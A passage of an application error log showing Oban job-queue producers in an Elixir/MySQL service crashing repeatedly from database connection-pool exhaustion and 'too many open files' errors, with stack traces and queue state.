    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:07:56.239722Z], limit: 3, uuid: "450fb760-c8ec-4b61-b67a-f33c8a8db136", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.239728Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23105>, refresh_timer: #Reference<0.2525715032.1068498948.48053>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:07:56.239425Z], limit: 5, uuid: "69166a15-0d9f-4e55-8659-cc82066adff2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.239431Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23103>, refresh_timer: #Reference<0.2525715032.1077673987.23064>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:08.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:11.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:12.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:13.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:14.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:15.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:18.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:08:08.239540Z], limit: 50, uuid: "c8b036d2-9c1c-4440-b7f0-7bebc98d79c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.239545Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47266>, refresh_timer: #Reference<0.2525715032.1099431938.47243>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:08:08.239524Z], limit: 20, uuid: "403c8a42-8d32-4cd5-a0b0-da13c09f15bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.239529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47268>, refresh_timer: #Reference<0.2525715032.1068498948.48118>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:08:08.240712Z], limit: 5, uuid: "81b3ba1d-bfb2-49bf-b715-1815c8cc7eac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.240717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47267>, refresh_timer: #Reference<0.2525715032.1077673987.23274>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:08:08.239326Z], limit: 5, uuid: "53e64e0e-dad0-43ae-889a-23257922ba72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.239333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47265>, refresh_timer: #Reference<0.2525715032.1099431938.47236>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:08:08.239656Z], limit: 3, uuid: "05258d5d-0884-4f8c-8dec-b119b4683436", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.239660Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47269>, refresh_timer: #Reference<0.2525715032.1068498948.48125>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:08:08.239720Z], limit: 10, uuid: "63038ca8-f66f-44dc-8878-65bbaff483a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:08.239726Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.47264>, refresh_timer: #Reference<0.2525715032.1099431938.47248>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:21.074000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:26.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:26.752000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:27.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:32.108000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:08:20.239762Z], limit: 50, uuid: "0556ae97-73ac-4c38-b159-c71897fc0ec6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:20.239766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, 